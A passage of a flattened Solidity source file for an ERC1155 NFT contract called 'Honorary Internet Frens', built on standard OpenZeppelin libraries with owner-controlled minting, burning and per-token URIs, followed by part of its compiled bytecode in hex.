bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC1155/IERC1155Receiver.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol) pragma solidity ^0.8.0; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** * @dev Handles the receipt of a single ERC1155 token type. This function is * called at the end of a `safeTransferFrom` after the balance has been updated. * * NOTE: To accept the transfer, this must return * `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` * (i.e. 0xf23a6e61, or its own function selector). * * @param operator The address which initiated the transfer (i.e. msg.sender) * @param from The address which previously owned the token * @param id The ID of the token being transferred * @param value The amount of tokens being transferred * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** * @dev Handles the receipt of a multiple ERC1155 token types. This function * is called at the end of a `safeBatchTransferFrom` after the balances have * been updated. * * NOTE: To accept the transfer(s), this must return * `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` * (i.e. 0xbc197c81, or its own function selector). * * @param operator The address which initiated the batch transfer (i.e. msg.sender) * @param from The address which previously owned the token * @param ids An array containing ids of each token being transferred (order and length must match values array) * @param values An array containing amounts of each token being transferred (order and length must match ids array) * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC1155/IERC1155.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol) pragma solidity ^0.8.0; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC1155/ERC1155.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); uint256[] memory ids = _asSingletonArray(id); uint256[] memory amounts = _asSingletonArray(amount); _beforeTokenTransfer(operator, from, to, ids, amounts, data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _afterTokenTransfer(operator, from, to, ids, amounts, data); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _afterTokenTransfer(operator, from, to, ids, amounts, data); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); uint256[] memory ids = _asSingletonArray(id); uint256[] memory amounts = _asSingletonArray(amount); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); _balances[id][to] += amount; emit TransferSingle(operator, address(0), to, id, amount); _afterTokenTransfer(operator, address(0), to, ids, amounts, data); _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _afterTokenTransfer(operator, address(0), to, ids, amounts, data); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `from` * * Requirements: * * - `from` cannot be the zero address. * - `from` must have at least `amount` tokens of token type `id`. */ function _burn( address from, uint256 id, uint256 amount ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); uint256[] memory ids = _asSingletonArray(id); uint256[] memory amounts = _asSingletonArray(amount); _beforeTokenTransfer(operator, from, address(0), ids, amounts, ""); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } emit TransferSingle(operator, from, address(0), id, amount); _afterTokenTransfer(operator, from, address(0), ids, amounts, ""); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address from, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } } emit TransferBatch(operator, from, address(0), ids, amounts); _afterTokenTransfer(operator, from, address(0), ids, amounts, ""); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC1155: setting approval status for self"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} /** * @dev Hook that is called after any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // File: contracts/HonoraryInternetFrens.sol /** .__ | |__ ____ ____ ________________ _______ ___.__. | | \ / _ \ / \ / _ \_ __ \__ \\_ __ < | | | Y ( <_> ) | ( <_> ) | \// __ \| | \/\___ | |___| /\____/|___| /\____/|__| (____ /__| / ____| \/ \/ \/ \/ .__ __ __ _____ |__| _____/ |_ ___________ ____ _____/ |_ _/ ____\______ ____ ____ ______ | |/ \ __\/ __ \_ __ \/ \_/ __ \ __\ \ __\\_ __ \/ __ \ / \ / ___/ | | | \ | \ ___/| | \/ | \ ___/| | | | | | \| ___/| | \\___ \ |__|___| /__| \___ >__| |___| /\___ >__| |__| |__| \___ >___| /____ > \/ \/ \/ \/ \/ \/ \/ */ pragma solidity ^0.8.0; contract HonoraryInternetFrens is ERC1155, Ownable { string public name; string public symbol; mapping(uint => string) public tokenURI; constructor() ERC1155("") { name = "Honorary Internet Frens"; symbol = "HIF"; } function mint(address _to, uint _id, uint _amount) external onlyOwner { _mint(_to, _id, _amount, ""); } function mintBatch(address _to, uint[] memory _ids, uint[] memory _amounts) external onlyOwner { _mintBatch(_to, _ids, _amounts, ""); } function burn(uint _id, uint _amount) external { _burn(msg.sender, _id, _amount); } function burnBatch(uint[] memory _ids, uint[] memory _amounts) external { _burnBatch(msg.sender, _ids, _amounts); } function burnForMint(address _from, uint[] memory _burnIds, uint[] memory _burnAmounts, uint[] memory _mintIds, uint[] memory _mintAmounts) external onlyOwner { _burnBatch(_from, _burnIds, _burnAmounts); _mintBatch(_from, _mintIds, _mintAmounts, ""); } function setURI(uint _id, string memory _uri) external onlyOwner { tokenURI[_id] = _uri; emit URI(_uri, _id); } function uri(uint _id) public override view returns (string memory) { return tokenURI[_id]; } }
0x608060405234801561001057600080fd5b506004361061012b5760003560e01c8063862440e2116100ad578063c87b56dd11610071578063c87b56dd14610273578063d81d0a1514610286578063e985e9c514610299578063f242432a146102d5578063f2fde38b146102e857600080fd5b8063862440e2146102175780638da5cb5b1461022a57806395d89b4114610245578063a22cb4651461024d578063b390c0ab1461026057600080fd5b80632eb2c2d6116100f45780632eb2c2d6146101b65780634e1273f4146101c9578063510f4104146101e9578063715018a6146101fc57806383ca4b6f1461020457600080fd5b8062fdd58e1461013057806301ffc9a71461015657806306fdde03146101795780630e89341c1461018e578063156e29f6146101a1575b600080fd5b61014361013e366004611979565b6102fb565b6040519081526020015b60405180910390f35b610169610164366004611af4565b610392565b604051901515815260200161014d565b6101816103e4565b60405161014d9190611d26565b61018161019c366004611b2e565b610472565b6101b46101af3660046119a3565b610514565b005b6101b46101c4366004611709565b61055e565b6101dc6101d73660046119d6565b6105f5565b60405161014d9190611ce5565b6101b46101f736600461188c565b61071f565b6101b461076f565b6101b4610212366004611aa7565b6107a5565b6101b4610225366004611b47565b6107b4565b6003546040516001600160a01b03909116815260200161014d565b61018161083a565b6101b461025b36600461193d565b610847565b6101b461026e366004611b98565b610852565b610181610281366004611b2e565b61085d565b6101b4610294366004611818565b610876565b6101696102a73660046116d6565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205460ff1690565b6101b46102e33660046117b3565b6108bb565b6101b46102f63660046116bb565b610942565b60006001600160a01b03831661036c5760405162461bcd60e51b815260206004820152602b60248201527f455243313135353a2062616c616e636520717565727920666f7220746865207a60448201526a65726f206164647265737360a81b60648201526084015b60405180910390fd5b506000908152602081815260408083206001600160a01b03949094168352929052205490565b60006001600160e01b03198216636cdb3d1360e11b14806103c357506001600160e01b031982166303a24d0760e21b145b806103de57506301ffc9a760e01b6001600160e01b03198316145b92915050565b600480546103f190611f91565b80601f016020809104026020016040519081016040528092919081815260200182805461041d90611f91565b801561046a5780601f1061043f5761010080835404028352916020019161046a565b820191906000526020600020905b81548152906001019060200180831161044d57829003601f168201915b505050505081565b600081815260066020526040902080546060919061048f90611f91565b80601f01602080910402602001604051908101604052809291908181526020018280546104bb90611f91565b80156105085780601f106104dd57610100808354040283529160200191610508565b820191906000526020600020905b8154815290600101906020018083116104eb57829003601f168201915b50505050509050919050565b6003546001600160a01b0316331461053e5760405162461bcd60e51b815260040161036390611e97565b610559838383604051806020016040528060008152506109dd565b505050565b6001600160a01b03851633148061057a575061057a85336102a7565b6105e15760405162461bcd60e51b815260206004820152603260248201527f455243313135353a207472616e736665722063616c6c6572206973206e6f74206044820152711bdddb995c881b9bdc88185c1c1c9bdd995960721b6064820152608401610363565b6105ee8585858585610ab7565b5050505050565b6060815183511461065a5760405162461bcd60e51b815260206004820152602960248201527f455243313135353a206163636f756e747320616e6420696473206c656e677468604482015268040dad2e6dac2e8c6d60bb1b6064820152608401610363565b6000835167ffffffffffffffff81111561067657610676612040565b60405190808252806020026020018201604052801561069f578160200160208202803683370190505b50905060005b8451811015610717576106ea8582815181106106c3576106c361202a565b60200260200101518583815181106106dd576106dd61202a565b60200260200101516102fb565b8282815181106106fc576106fc61202a565b602090810291909101015261071081611ff9565b90506106a5565b509392505050565b6003546001600160a01b031633146107495760405162461bcd60e51b815260040161036390611e97565b610754858585610c53565b6105ee85838360405180602001604052806000815250610dde565b6003546001600160a01b031633146107995760405162461bcd60e51b815260040161036390611e97565b6107a36000610f29565b565b6107b0338383610c53565b5050565b6003546001600160a01b031633146107de5760405162461bcd60e51b815260040161036390611e97565b600082815260066020908152604090912082516107fd9284019061150a565b50817f6bb7ff708619ba0610cba295a58592e0451dee2622938c8755667688daf3529b8260405161082e9190611d26565b60405180910390a25050565b600580546103f190611f91565b6107b0338383610f7b565b6107b033838361105c565b600660205260009081526040902080546103f190611f91565b6003546001600160a01b031633146108a05760405162461bcd60e51b815260040161036390611e97565b61055983838360405180602001604052806000815250610dde565b6001600160a01b0385163314806108d757506108d785336102a7565b6109355760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260448201526808185c1c1c9bdd995960ba1b6064820152608401610363565b6105ee8585858585611160565b6003546001600160a01b0316331461096c5760405162461bcd60e51b815260040161036390611e97565b6001600160a01b0381166109d15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610363565b6109da81610f29565b50565b6001600160a01b038416610a035760405162461bcd60e51b815260040161036390611f14565b336000610a0f8561128a565b90506000610a1c8561128a565b90506000868152602081815260408083206001600160a01b038b16845290915281208054879290610a4e908490611f79565b909155505060408051878152602081018790526001600160a01b03808a1692600092918716917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a4610aae836000898989896112d5565b50505050505050565b8151835114610ad85760405162461bcd60e51b815260040161036390611ecc565b6001600160a01b038416610afe5760405162461bcd60e51b815260040161036390611dc5565b3360005b8451811015610be5576000858281518110610b1f57610b1f61202a565b602002602001015190506000858381518110610b3d57610b3d61202a565b602090810291909101810151600084815280835260408082206001600160a01b038e168352909352919091205490915081811015610b8d5760405162461bcd60e51b815260040161036390611e4d565b6000838152602081815260408083206001600160a01b038e8116855292528083208585039055908b16825281208054849290610bca908490611f79565b9250508190555050505080610bde90611ff9565b9050610b02565b50846001600160a01b0316866001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8787604051610c35929190611cf8565b60405180910390a4610c4b818787878787611440565b505050505050565b6001600160a01b038316610c795760405162461bcd60e51b815260040161036390611e0a565b8051825114610c9a5760405162461bcd60e51b815260040161036390611ecc565b604080516020810190915260009081905233905b8351811015610d70576000848281518110610ccb57610ccb61202a565b602002602001015190506000848381518110610ce957610ce961202a565b602090810291909101810151600084815280835260408082206001600160a01b038c168352909352919091205490915081811015610d395760405162461bcd60e51b815260040161036390611d81565b6000928352602083815260408085206001600160a01b038b1686529091529092209103905580610d6881611ff9565b915050610cae565b5060006001600160a01b0316846001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8686604051610dc1929190611cf8565b60405180910390a460408051602081019091526000905250505050565b6001600160a01b038416610e045760405162461bcd60e51b815260040161036390611f14565b8151835114610e255760405162461bcd60e51b815260040161036390611ecc565b3360005b8451811015610ec157838181518110610e4457610e4461202a565b6020026020010151600080878481518110610e6157610e6161202a565b602002602001015181526020019081526020016000206000886001600160a01b03166001600160a01b031681526020019081526020016000206000828254610ea99190611f79565b90915550819050610eb981611ff9565b915050610e29565b50846001600160a01b031660006001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8787604051610f12929190611cf8565b60405180910390a46105ee81600087878787611440565b600380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b816001600160a01b0316836001600160a01b03161415610fef5760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2073657474696e6720617070726f76616c20737461747573604482015268103337b91039b2b63360b91b6064820152608401610363565b6001600160a01b03838116600081815260016020908152604080